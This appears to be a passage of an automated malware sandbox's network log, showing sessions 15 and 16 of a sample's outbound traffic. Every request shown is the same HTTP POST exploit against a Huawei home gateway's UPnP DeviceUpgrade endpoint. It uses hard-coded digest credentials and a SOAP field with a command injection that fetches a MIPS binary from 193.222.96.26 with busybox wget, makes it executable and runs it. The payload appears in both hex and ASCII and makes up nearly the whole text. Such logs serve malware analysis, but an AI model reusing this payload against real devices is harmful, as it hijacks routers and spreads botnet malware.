74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:44.892374992 CET	3328	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	156.241.100.190	37215	192.168.2.23	52680

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.390022039 CET	1257	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.374604940 CET	1314	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.710311890 CET	1373	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:37.573689938 CET	1506	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044315100 CET	1757	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:05.985868931 CET	2268	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:44.892374992 CET	3328	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	156.230.14.26	37215	192.168.2.23	45070

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.680115938 CET	1260	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 